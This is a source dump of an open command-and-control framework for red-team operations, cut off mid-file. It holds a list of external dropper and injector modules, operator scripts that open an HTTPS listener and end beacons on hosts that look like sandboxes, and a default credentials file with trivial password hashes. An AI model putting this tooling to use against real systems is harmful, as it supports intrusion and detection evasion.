├── C2Client ├── C2Client │ ├── __init__.py │ ├── Scripts │ │ ├── .gitignore │ │ ├── startListenerHttp8443.py │ │ ├── checkSandbox.py │ │ ├── listDirectory.py │ │ └── template.py.example │ ├── TerminalModules │ │ ├── __init__.py │ │ ├── Credentials │ │ │ ├── .gitignore │ │ │ └── credentials.py │ │ └── Batcave │ │ │ ├── .gitignore │ │ │ └── batcave.py │ ├── logs │ │ └── .gitignore │ ├── DropperModules │ │ └── .gitignore │ ├── ShellCodeModules │ │ └── .gitignore │ ├── .gitignore │ ├── ShellCodeModules.conf │ ├── Beacon │ ├── DropperModules.conf │ ├── images │ │ ├── pc.svg │ │ ├── windowshighpriv.svg │ │ ├── firewall.svg │ │ ├── linux.svg │ │ └── linuxhighpriv.svg │ ├── libGrpcMessages │ │ └── build │ │ │ └── py │ │ │ ├── TeamServerApi_pb2.py │ │ │ └── TeamServerApi_pb2_grpc.py │ ├── GUI.py │ ├── grpcClient.py │ ├── SessionPanel.py │ ├── ListenerPanel.py │ ├── ScriptPanel.py │ └── GraphPanel.py ├── .gitignore ├── tests │ ├── conftest.py │ ├── test_console_panel.py │ ├── test_grpc_client.py │ └── test_gui_startup.py ├── requirements.txt └── pyproject.toml ├── Release ├── Scripts │ └── .gitignore ├── Tools │ └── .gitignore ├── www │ └── .gitignore ├── Modules │ └── .gitignore ├── TeamServer │ ├── .gitignore │ └── logs │ │ └── .gitignore ├── Beacons │ └── .gitignore └── .gitignore ├── libs ├── libGrpcMessages │ ├── build │ │ └── cpp │ │ │ ├── src │ │ │ └── .gitignore │ │ │ └── CMakeLists.txt │ ├── CMakeLists.txt │ └── src │ │ └── TeamServerApi.proto ├── libMemoryModuleDumy │ ├── tests │ │ ├── CMakeLists.txt │ │ ├── libtest.cpp │ │ └── Tests.cpp │ ├── README.md │ ├── src │ │ ├── MemoryModule.h │ │ └── MemoryModule.cpp │ └── CMakeLists.txt ├── libPipeHandlerDumy │ ├── README.md │ ├── CMakeLists.txt │ └── src │ │ ├── PipeHandler.hpp │ │ └── PipeHandler.cpp └── CMakeLists.txt ├── images ├── coffDir.png ├── Listeners.png ├── NewSession.png ├── loadModule.png ├── AddListener.png ├── Exploration1.png ├── architecture.png ├── GenerateDropper.png ├── SessionInteract.png ├── AddListenerTypes.png ├── TeamServerLaunch.png ├── AssemblyExecMimikatz.png ├── ListenersAndSessions.png ├── ListenersAndSessions2.png ├── ReleaseModulesBeacons.png ├── ReleaseTeamServerClient.png └── architecture.drawio ├── teamServer ├── tests │ └── testsTestServer.cpp ├── teamServer │ ├── auth_credentials.json │ ├── TeamServerConfig.json │ └── TeamServer.hpp └── CMakeLists.txt ├── conanfile.txt ├── .gitignore ├── thirdParty └── CMakeLists.txt ├── majSubmodules.sh ├── .github ├── ISSUE_TEMPLATE │ ├── bug_report.md │ └── feature_request.md └── workflows │ ├── Tests.yml │ └── Release.yml ├── .gitmodules ├── LICENSE ├── certs ├── CMakeLists.txt ├── sslBeaconHttps │ └── genSslCert.sh └── sslTeamServ │ └── genSslCert.sh ├── CMakeLists.txt ├── Dockerfile ├── AGENT.md ├── README.md └── conan_provider.cmake /C2Client/C2Client/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Release/Scripts/.gitignore: -------------------------------------------------------------------------------- 1 | * 2 | !.gitignore -------------------------------------------------------------------------------- /Release/Tools/.gitignore: -------------------------------------------------------------------------------- 1 | * 2 | !.gitignore -------------------------------------------------------------------------------- /Release/www/.gitignore: -------------------------------------------------------------------------------- 1 | * 2 | !.gitignore -------------------------------------------------------------------------------- /C2Client/C2Client/Scripts/.gitignore: -------------------------------------------------------------------------------- 1 | __pycache__ -------------------------------------------------------------------------------- /C2Client/C2Client/TerminalModules/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Release/Modules/.gitignore: -------------------------------------------------------------------------------- 1 | * 2 | !.gitignore 3 | -------------------------------------------------------------------------------- /Release/TeamServer/.gitignore: -------------------------------------------------------------------------------- 1 | * 2 | !.gitignore -------------------------------------------------------------------------------- /C2Client/C2Client/logs/.gitignore: -------------------------------------------------------------------------------- 1 | * 2 | !.gitignore -------------------------------------------------------------------------------- /Release/Beacons/.gitignore: -------------------------------------------------------------------------------- 1 | * 2 | !.gitignore 3 | 4 | -------------------------------------------------------------------------------- /Release/TeamServer/logs/.gitignore: -------------------------------------------------------------------------------- 1 | * 2 | !.gitignore -------------------------------------------------------------------------------- /C2Client/.gitignore: -------------------------------------------------------------------------------- 1 | C2Client.egg-info 2 | C2Client/__pycache__ -------------------------------------------------------------------------------- /C2Client/C2Client/DropperModules/.gitignore: -------------------------------------------------------------------------------- 1 | * 2 | !.gitignore -------------------------------------------------------------------------------- /C2Client/C2Client/ShellCodeModules/.gitignore: -------------------------------------------------------------------------------- 1 | * 2 | !.gitignore -------------------------------------------------------------------------------- /C2Client/C2Client/TerminalModules/Credentials/.gitignore: -------------------------------------------------------------------------------- 1 | __pycache__ -------------------------------------------------------------------------------- /C2Client/C2Client/TerminalModules/Batcave/.gitignore: -------------------------------------------------------------------------------- 1 | __pycache__ 2 | cache -------------------------------------------------------------------------------- /C2Client/C2Client/.gitignore: -------------------------------------------------------------------------------- 1 | .termHistory 2 | .cmdHistory 3 | *.exe 4 | *.dll -------------------------------------------------------------------------------- /C2Client/C2Client/ShellCodeModules.conf: -------------------------------------------------------------------------------- 1 | https://github.com/maxDcb/DreamWalkers.git -------------------------------------------------------------------------------- /libs/libGrpcMessages/build/cpp/src/.gitignore: -------------------------------------------------------------------------------- 1 | * 2 | !.gitignore 3 | !MakefileLinux 4 | -------------------------------------------------------------------------------- /images/coffDir.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/maxDcb/C2TeamServer/HEAD/images/coffDir.png -------------------------------------------------------------------------------- /images/Listeners.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/maxDcb/C2TeamServer/HEAD/images/Listeners.png -------------------------------------------------------------------------------- /images/NewSession.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/maxDcb/C2TeamServer/HEAD/images/NewSession.png -------------------------------------------------------------------------------- /images/loadModule.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/maxDcb/C2TeamServer/HEAD/images/loadModule.png -------------------------------------------------------------------------------- /C2Client/C2Client/Beacon: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/maxDcb/C2TeamServer/HEAD/C2Client/C2Client/Beacon -------------------------------------------------------------------------------- /C2Client/tests/conftest.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | os.environ.setdefault("QT_QPA_PLATFORM", "offscreen") 4 | -------------------------------------------------------------------------------- /images/AddListener.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/maxDcb/C2TeamServer/HEAD/images/AddListener.png -------------------------------------------------------------------------------- /images/Exploration1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/maxDcb/C2TeamServer/HEAD/images/Exploration1.png -------------------------------------------------------------------------------- /images/architecture.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/maxDcb/C2TeamServer/HEAD/images/architecture.png -------------------------------------------------------------------------------- /images/GenerateDropper.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/maxDcb/C2TeamServer/HEAD/images/GenerateDropper.png -------------------------------------------------------------------------------- /images/SessionInteract.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/maxDcb/C2TeamServer/HEAD/images/SessionInteract.png -------------------------------------------------------------------------------- /images/AddListenerTypes.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/maxDcb/C2TeamServer/HEAD/images/AddListenerTypes.png -------------------------------------------------------------------------------- /images/TeamServerLaunch.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/maxDcb/C2TeamServer/HEAD/images/TeamServerLaunch.png -------------------------------------------------------------------------------- /libs/libGrpcMessages/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.24) 2 | 3 | add_subdirectory(build/cpp/) -------------------------------------------------------------------------------- /images/AssemblyExecMimikatz.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/maxDcb/C2TeamServer/HEAD/images/AssemblyExecMimikatz.png -------------------------------------------------------------------------------- /images/ListenersAndSessions.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/maxDcb/C2TeamServer/HEAD/images/ListenersAndSessions.png -------------------------------------------------------------------------------- /images/ListenersAndSessions2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/maxDcb/C2TeamServer/HEAD/images/ListenersAndSessions2.png -------------------------------------------------------------------------------- /images/ReleaseModulesBeacons.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/maxDcb/C2TeamServer/HEAD/images/ReleaseModulesBeacons.png -------------------------------------------------------------------------------- /images/ReleaseTeamServerClient.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/maxDcb/C2TeamServer/HEAD/images/ReleaseTeamServerClient.png -------------------------------------------------------------------------------- /teamServer/tests/testsTestServer.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | 4 | 5 | 6 | int main() 7 | { 8 | return 0; 9 | } -------------------------------------------------------------------------------- /Release/.gitignore: -------------------------------------------------------------------------------- 1 | * 2 | 3 | !.gitignore 4 | 5 | !www 6 | !Tools 7 | !TeamServer 8 | !Modules 9 | !Scripts 10 | !Client 11 | !Beacons -------------------------------------------------------------------------------- /conanfile.txt: -------------------------------------------------------------------------------- 1 | [requires] 2 | grpc/1.72.0 3 | protobuf/5.27.0 4 | spdlog/1.15.3 5 | cpp-httplib/0.20.1 6 | openssl/3.5.1 7 | 8 | [layout] 9 | cmake_layout 10 | 11 | [generators] 12 | CMakeDeps 13 | -------------------------------------------------------------------------------- /libs/libMemoryModuleDumy/tests/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | add_executable(TestsMemoryModule "Tests.cpp" ) 2 | set_property(TARGET TestsMemoryModule PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded") 3 | target_link_libraries(TestsMemoryModule MemoryModule ) 4 | 5 | 6 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | Tests 2 | C2Client/build/ 3 | .vscode 4 | build/ 5 | C2Client/.cmdHistory 6 | C2Client/.termHistory 7 | C2Client/Beacon.exe 8 | C2Client/C2Client/Scripts/__init__.py 9 | C2Client/C2Client/TerminalModules/__pycache__/ 10 | C2Client/loader.bin 11 | updateRelease.sh 12 | -------------------------------------------------------------------------------- /C2Client/C2Client/DropperModules.conf: -------------------------------------------------------------------------------- 1 | https://github.com/maxDcb/PeDropper 2 | https://github.com/maxDcb/PowershellWebDelivery 3 | https://github.com/maxDcb/PeInjectorSyscall 4 | https://github.com/almounah/GoDroplets.git 5 | https://github.com/maxDcb/ElfDropper.git 6 | https://github.com/maxDcb/EarlyCascade.git -------------------------------------------------------------------------------- /C2Client/requirements.txt: -------------------------------------------------------------------------------- 1 | pycryptodome==3.23.0 2 | grpcio==1.74.0 3 | PyQt6==6.7.0 4 | pyqtdarktheme 5 | protobuf==6.32.0 6 | gitpython==3.1.45 7 | requests==2.32.5 8 | pwn==1.0 9 | pefile==2024.8.26 10 | openai==1.102.0 11 | pytest==8.4.1 12 | pytest-qt==4.5.0 13 | donut-shellcode 14 | markdown 15 | -------------------------------------------------------------------------------- /libs/libMemoryModuleDumy/README.md: -------------------------------------------------------------------------------- 1 | # PipeHandler 2 | 3 | ## Requirement 4 | 5 | Client can connect and disconnect at any time. 6 | 7 | Server can connect and disconnect at any time. 8 | 9 | Multiple client should be able to connect to the same server. 10 | 11 | Client and Server are monothread. -------------------------------------------------------------------------------- /libs/libPipeHandlerDumy/README.md: -------------------------------------------------------------------------------- 1 | # PipeHandler 2 | 3 | ## Requirement 4 | 5 | Client can connect and disconnect at any time. 6 | 7 | Server can connect and disconnect at any time. 8 | 9 | Multiple client should be able to connect to the same server. 10 | 11 | Client and Server are monothread. -------------------------------------------------------------------------------- /libs/libMemoryModuleDumy/src/MemoryModule.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | 6 | 7 | typedef void *HMEMORYMODULE; 8 | 9 | HMEMORYMODULE MemoryLoadLibrary(const void *moduleData, size_t size); 10 | 11 | void MemoryFreeLibrary(HMEMORYMODULE mod); 12 | 13 | void* MemoryGetProcAddress(HMEMORYMODULE mod, const char* procName); -------------------------------------------------------------------------------- /thirdParty/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | # donut 2 | file(COPY ${CMAKE_SOURCE_DIR}/thirdParty/donut DESTINATION ${CMAKE_BINARY_DIR}/thirdParty) 3 | execute_process(COMMAND bash -c "cd ${CMAKE_BINARY_DIR}/thirdParty/donut && make -f Makefile") 4 | set(Donut "${CMAKE_BINARY_DIR}/thirdParty/donut/lib/libdonut.a" PARENT_SCOPE) 5 | set(aplib64 "${CMAKE_BINARY_DIR}/thirdParty/donut/lib/aplib64.a" PARENT_SCOPE) 6 | 7 | 8 | -------------------------------------------------------------------------------- /C2Client/C2Client/Scripts/startListenerHttp8443.py: -------------------------------------------------------------------------------- 1 | from ..grpcClient import TeamServerApi_pb2 2 | 3 | 4 | def OnStart(grpcClient): 5 | output = "startListenerHttp8443:\nSend start listener https 8443\n"; 6 | 7 | listener = TeamServerApi_pb2.Listener( 8 | type="https", 9 | ip="0.0.0.0", 10 | port=8443) 11 | 12 | grpcClient.addListener(listener) 13 | 14 | return output 15 | 16 | -------------------------------------------------------------------------------- /teamServer/teamServer/auth_credentials.json: -------------------------------------------------------------------------------- 1 | { 2 | "token_ttl_minutes": 60, 3 | "users": [ 4 | { 5 | "username": "admin", 6 | "password_hash": "8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918" 7 | }, 8 | { 9 | "username": "analyst", 10 | "password_hash": "f44ceb062e35dfeea6ed7f8524d53bb0bff19f553e25cae7ef4850e4185ccbba" 11 | } 12 | ] 13 | } 14 | -------------------------------------------------------------------------------- /libs/libPipeHandlerDumy/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.24) 2 | project(PipeHandler VERSION 1.0.0 LANGUAGES CXX) 3 | 4 | set(DEFAULT_BUILD_TYPE "Release") 5 | set(CMAKE_CXX_STANDARD 14) 6 | set(CMAKE_CXX_STANDARD_REQUIRED ON) 7 | 8 | set(SOURCE_FILES 9 | src/PipeHandler.cpp 10 | ) 11 | 12 | include_directories(../src) 13 | 14 | add_library(${PROJECT_NAME} STATIC ${SOURCE_FILES}) 15 | target_include_directories(${PROJECT_NAME} PUBLIC src) 16 | -------------------------------------------------------------------------------- /C2Client/C2Client/Scripts/checkSandbox.py: -------------------------------------------------------------------------------- 1 | from ..grpcClient import TeamServerApi_pb2 2 | 3 | 4 | def OnSessionStart(grpcClient, beaconHash, listenerHash, hostname, username, arch, privilege, os, lastProofOfLife, killed): 5 | if hostname == "sandboxhostname": 6 | output += "checkSandbox:\nSandbox detected ending beacon\n"; 7 | 8 | commandLine = "end" 9 | command = TeamServerApi_pb2.Command(beaconHash=beaconHash, listenerHash=listenerHash, cmd=commandLine) 10 | result = grpcClient.sendCmdToSession(command) 11 | 12 | return output 13 | -------------------------------------------------------------------------------- /libs/libGrpcMessages/build/cpp/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.24) 2 | project(GrpcMessages) 3 | 4 | set(DEFAULT_BUILD_TYPE "Release") 5 | set(CMAKE_CXX_STANDARD 17) 6 | set(CMAKE_CXX_STANDARD_REQUIRED ON) 7 | 8 | file(GLOB_RECURSE SOURCE_FILES ${CMAKE_CURRENT_BINARY_DIR}/src/*.pb.cc) 9 | 10 | include_directories( 11 | ./src/ 12 | ${protobuf_INCLUDE_DIRS} 13 | ${gRPC_INCLUDE_DIRS} 14 | ${absl_INCLUDE_DIRS} 15 | ) 16 | 17 | add_library(${PROJECT_NAME} STATIC ${SOURCE_FILES}) 18 | target_include_directories(${PROJECT_NAME} PUBLIC ${CMAKE_CURRENT_BINARY_DIR}/src) 19 | -------------------------------------------------------------------------------- /majSubmodules.sh: -------------------------------------------------------------------------------- 1 | cd core && git config --global --add safe.directory $(pwd) && git fetch && git rebase origin/master && cd - 2 | cd libs/libDns && git config --global --add safe.directory $(pwd) && git fetch && git rebase origin/master && cd - 3 | cd libs/libSocketHandler && git config --global --add safe.directory $(pwd) && git fetch && git rebase origin/master && cd - 4 | cd libs/libSocks5 && git config --global --add safe.directory $(pwd) && git fetch && git rebase origin/master && cd - 5 | cd thirdParty/donut && git config --global --add safe.directory $(pwd) && git fetch && git rebase origin/master && cd - 6 | 7 | -------------------------------------------------------------------------------- /libs/libMemoryModuleDumy/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.24) 2 | project(MemoryModule VERSION 1.0.0 LANGUAGES CXX) 3 | 4 | set(DEFAULT_BUILD_TYPE "Release") 5 | set(CMAKE_CXX_STANDARD 14) 6 | set(CMAKE_CXX_STANDARD_REQUIRED ON) 7 | 8 | set(SOURCE_FILES 9 | src/MemoryModule.cpp 10 | ) 11 | 12 | include_directories(../src) 13 | 14 | add_library(${PROJECT_NAME} STATIC ${SOURCE_FILES}) 15 | target_include_directories(${PROJECT_NAME} PUBLIC src) 16 | set_property(TARGET ${PROJECT_NAME} PROPERTY POSITION_INDEPENDENT_CODE ON) 17 | target_link_libraries(${PROJECT_NAME} dl rt) 18 | 19 | add_subdirectory(tests) 20 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/bug_report.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Bug report 3 | about: Create a report to help us improve 4 | title: '' 5 | labels: '' 6 | assignees: '' 7 | 8 | --- 9 | 10 | **Describe the bug** 11 | A clear and concise description of what the bug is. 12 | 13 | **To Reproduce** 14 | Steps to reproduce the behavior: 15 | 1. Go to '...' 16 | 2. Click on '....' 17 | 3. Scroll down to '....' 18 | 4. See error 19 | 20 | **Expected behavior** 21 | A clear and concise description of what you expected to happen. 22 | 23 | **Screenshots** 24 | If applicable, add screenshots to help explain your problem. 25 | 26 | **Additional context** 27 | Add any other context about the problem here. 28 | -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "thirdParty/base64"] 2 | path = thirdParty/base64 3 | url = https://github.com/ReneNyffenegger/cpp-base64.git 4 | [submodule "thirdParty/donut"] 5 | path = thirdParty/donut 6 | url = https://github.com/maxDcb/donut.git 7 | [submodule "core"] 8 | path = core 9 | url = https://github.com/maxDcb/C2Core.git 10 | [submodule "libs/libDns"] 11 | path = libs/libDns 12 | url = https://github.com/maxDcb/Dnscommunication 13 | [submodule "libs/libSocks5"] 14 | path = libs/libSocks5 15 | url = https://github.com/maxDcb/libSocks5.git 16 | [submodule "libs/libSocketHandler"] 17 | path = libs/libSocketHandler 18 | url = https://github.com/maxDcb/libSocketHandler.git 19 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/feature_request.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Feature request 3 | about: Suggest an idea for this project 4 | title: '' 5 | labels: '' 6 | assignees: '' 7 | 8 | --- 9 | 10 | **Is your feature request related to a problem? Please describe.** 11 | A clear and concise description of what the problem is. Ex. I'm always frustrated when [...] 12 | 13 | **Describe the solution you'd like** 14 | A clear and concise description of what you want to happen. 15 | 16 | **Describe alternatives you've considered** 17 | A clear and concise description of any alternative solutions or features you've considered. 18 | 19 | **Additional context** 20 | Add any other context or screenshots about the feature request here. 21 | -------------------------------------------------------------------------------- /C2Client/C2Client/Scripts/listDirectory.py: -------------------------------------------------------------------------------- 1 | from ..grpcClient import TeamServerApi_pb2 2 | 3 | 4 | def OnSessionStart(grpcClient, beaconHash, listenerHash, hostname, username, arch, privilege, os, lastProofOfLife, killed): 5 | output = "listDirectory:\n"; 6 | output += "load ListDirectory\n"; 7 | 8 | commandLine = "loadModule ListDirectory" 9 | command = TeamServerApi_pb2.Command(beaconHash=beaconHash, listenerHash=listenerHash, cmd=commandLine) 10 | result = grpcClient.sendCmdToSession(command) 11 | 12 | # commandLine = "ls" 13 | # command = TeamServerApi_pb2.Command(beaconHash=beaconHash, listenerHash=listenerHash, cmd=commandLine) 14 | # result = grpcClient.sendCmdToSession(command) 15 | 16 | return output 17 | -------------------------------------------------------------------------------- /C2Client/C2Client/images/pc.svg: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /C2Client/C2Client/images/windowshighpriv.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | -------------------------------------------------------------------------------- /libs/libMemoryModuleDumy/tests/libtest.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | // g++ -fPIC -shared ./libtest.cpp -o libtest.so 4 | 5 | class Test 6 | { 7 | public: 8 | Test(); 9 | ~Test(); 10 | }; 11 | 12 | 13 | #ifdef _WIN32 14 | extern "C" __declspec(dllexport) Test * TestConstructor(); 15 | #else 16 | extern "C" __attribute__((visibility("default"))) Test * TestConstructor(); 17 | #endif 18 | 19 | 20 | #ifdef _WIN32 21 | __declspec(dllexport) Test* TestConstructor() 22 | { 23 | return new Cat(); 24 | } 25 | #else 26 | __attribute__((visibility("default"))) Test* TestConstructor() 27 | { 28 | return new Test(); 29 | } 30 | #endif 31 | 32 | 33 | Test::Test() 34 | { 35 | std::cout << "Test Constructor" << std::endl; 36 | } 37 | 38 | 39 | Test::~Test() 40 | { 41 | } 42 | 43 | -------------------------------------------------------------------------------- /libs/libPipeHandlerDumy/src/PipeHandler.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | 7 | 8 | namespace PipeHandler 9 | { 10 | 11 | class Server 12 | { 13 | public: 14 | Server(const std::string& pipeName); 15 | ~Server(); 16 | 17 | bool initServer(); 18 | 19 | bool sendData(std::string& data); 20 | bool receiveData(std::string& data); 21 | 22 | private: 23 | bool reset(); 24 | 25 | bool m_isInit; 26 | 27 | std::string m_pipeName; 28 | }; 29 | 30 | 31 | 32 | class Client 33 | { 34 | public: 35 | Client(const std::string& ip, const std::string& pipeName); 36 | ~Client(); 37 | 38 | bool initConnection(); 39 | bool closeConnection(); 40 | 41 | bool sendData(std::string& data); 42 | bool receiveData(std::string& data); 43 | 44 | private: 45 | bool reset(); 46 | 47 | bool m_isInit; 48 | 49 | std::string m_pipeName; 50 | }; 51 | 52 | } 53 | -------------------------------------------------------------------------------- /libs/libMemoryModuleDumy/tests/Tests.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include "MemoryModule.h" 4 | 5 | typedef void* (*constructProc)(); 6 | 7 | 8 | // g++ -fPIC -shared ./libtest.cpp -o libtest.so 9 | int main() 10 | { 11 | std::string inputFile = "libtest.so"; 12 | 13 | std::ifstream input; 14 | input.open(inputFile, std::ios::binary); 15 | 16 | if( input ) 17 | { 18 | std::string buffer(std::istreambuf_iterator(input), {}); 19 | 20 | void* handle = NULL; 21 | handle = MemoryLoadLibrary((char*)buffer.data(), buffer.size()); 22 | if (handle == NULL) 23 | { 24 | return false; 25 | } 26 | 27 | std::string funcName = "TestConstructor"; 28 | 29 | constructProc construct; 30 | construct = (constructProc)MemoryGetProcAddress(handle, funcName.c_str()); 31 | if(construct == NULL) 32 | { 33 | return false; 34 | } 35 | 36 | construct(); 37 | 38 | MemoryFreeLibrary(handle); 39 | 40 | return true; 41 | } 42 | 43 | return false; 44 | } -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 2 | 3 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 4 | 5 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 6 | -------------------------------------------------------------------------------- /C2Client/pyproject.toml: -------------------------------------------------------------------------------- 1 | [build-system] 2 | requires = ["setuptools", "wheel"] 3 | build-backend = "setuptools.build_meta" 4 | 5 | [project] 6 | name = "C2Client" 7 | version = "0.1.0" 8 | dependencies = [ 9 | "setuptools", 10 | "pycryptodome==3.23.0", 11 | "grpcio==1.74.0", 12 | "PyQt6==6.7.0", 13 | "pyqtdarktheme", 14 | "protobuf==6.32.0", 15 | "gitpython==3.1.45", 16 | "requests==2.32.5", 17 | "pwn==1.0", 18 | "pefile==2024.8.26", 19 | "openai==1.102.0", 20 | "donut-shellcode", 21 | "markdown" 22 | ] 23 | 24 | [project.optional-dependencies] 25 | test = [ 26 | "pytest==8.4.1", 27 | "pytest-qt==4.5.0" 28 | ] 29 | 30 | [tool.setuptools.packages.find] 31 | where = ["."] 32 | include = ["C2Client*", "C2Client.libGrpcMessages*", "C2Client.TerminalModules.*"] 33 | 34 | [tool.setuptools.package-data] 35 | C2Client = [ 36 | "images/*.svg", 37 | "logs/*", 38 | "Scripts/*.py", 39 | "server.crt", 40 | "libGrpcMessages/build/py/*.py", 41 | "DropperModules.conf", 42 | "ShellCodeModules.conf" 43 | ] 44 | 45 | [project.scripts] 46 | c2client = "C2Client.GUI:main" # Entry point for CLI tool 47 | -------------------------------------------------------------------------------- /C2Client/C2Client/images/firewall.svg: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /libs/libPipeHandlerDumy/src/PipeHandler.cpp: -------------------------------------------------------------------------------- 1 | #include "PipeHandler.hpp" 2 | 3 | 4 | using namespace PipeHandler; 5 | 6 | 7 | // https://learn.microsoft.com/en-us/windows/win32/ipc/multithreaded-pipe-server 8 | Server::Server(const std::string& pipeName) 9 | { 10 | m_pipeName="\\\\.\\pipe\\"; 11 | m_pipeName+=pipeName; 12 | } 13 | 14 | 15 | Server::~Server() 16 | { 17 | } 18 | 19 | 20 | bool Server::reset() 21 | { 22 | return true; 23 | } 24 | 25 | 26 | bool Server::initServer() 27 | { 28 | return true; 29 | } 30 | 31 | 32 | bool Server::sendData(std::string& data) 33 | { 34 | return true; 35 | } 36 | 37 | 38 | bool Server::receiveData(std::string& data) 39 | { 40 | return true; 41 | } 42 | 43 | 44 | // https://learn.microsoft.com/en-us/windows/win32/ipc/named-pipe-client 45 | Client::Client(const std::string& ip, const std::string& pipeName) 46 | { 47 | 48 | } 49 | 50 | 51 | Client::~Client() 52 | { 53 | 54 | } 55 | 56 | 57 | bool Client::initConnection() 58 | { 59 | return true; 60 | } 61 | 62 | 63 | bool Client::closeConnection() 64 | { 65 | return true; 66 | } 67 | 68 | 69 | bool Client::reset() 70 | { 71 | return true; 72 | } 73 | 74 | 75 | bool Client::sendData(std::string& data) 76 | { 77 | return true; 78 | } 79 | 80 | 81 | bool Client::receiveData(std::string& data) 82 | { 83 | return true; 84 | } 85 | 86 | 87 | -------------------------------------------------------------------------------- /C2Client/tests/test_console_panel.py: -------------------------------------------------------------------------------- 1 | import os 2 | from types import SimpleNamespace 3 | 4 | import pytest 5 | from PyQt6.QtWidgets import QWidget 6 | 7 | import C2Client.grpcClient as grpc_client_module 8 | import sys 9 | sys.modules['grpcClient'] = grpc_client_module 10 | 11 | from C2Client.ConsolePanel import Console 12 | from C2Client.grpcClient import TeamServerApi_pb2 13 | 14 | 15 | class StubGrpc: 16 | def getHelp(self, command): 17 | return SimpleNamespace(cmd=command.cmd, response=b"help") 18 | 19 | def sendCmdToSession(self, command): 20 | return SimpleNamespace(message=b"") 21 | 22 | def getResponseFromSession(self, session): 23 | return [] 24 | 25 | 26 | def test_command_history_and_logging(tmp_path, qtbot, monkeypatch): 27 | monkeypatch.chdir(tmp_path) 28 | monkeypatch.setattr('C2Client.ConsolePanel.logsDir', str(tmp_path)) 29 | monkeypatch.setattr('C2Client.ConsolePanel.QThread.start', lambda self: None) 30 | 31 | parent = QWidget() 32 | console = Console(parent, StubGrpc(), 'beacon', 'listener', 'host', 'user') 33 | qtbot.addWidget(console) 34 | 35 | console.commandEditor.setText('help') 36 | console.runCommand() 37 | 38 | history_file = tmp_path / '.cmdHistory' 39 | assert history_file.read_text() == 'help\n' 40 | 41 | log_file = tmp_path / 'host_user_beacon.log' 42 | assert 'send: "help"' in log_file.read_text() 43 | -------------------------------------------------------------------------------- /C2Client/C2Client/Scripts/template.py.example: -------------------------------------------------------------------------------- 1 | from ..grpcClient import GrpcClient, TeamServerApi_pb2 2 | 3 | 4 | def OnStart(grpcClient: GrpcClient) -> str: 5 | output = "Scrip test.py: OnStart\n" 6 | return output 7 | 8 | 9 | def OnStop(grpcClient: GrpcClient) -> str: 10 | output = "Scrip test.py: OnStop\n" 11 | return output 12 | 13 | 14 | def OnListenerStart(grpcClient: GrpcClient) -> str: 15 | output = "Scrip test.py: OnListenerStart\n" 16 | return output 17 | 18 | 19 | def OnListenerStop(grpcClient: GrpcClient) -> str: 20 | output = "Scrip test.py: OnListenerStop\n" 21 | return output 22 | 23 | 24 | def OnSessionStart( 25 | grpcClient: GrpcClient, 26 | beaconHash, 27 | listenerHash, 28 | hostname, 29 | username, 30 | arch, 31 | privilege, 32 | os, 33 | 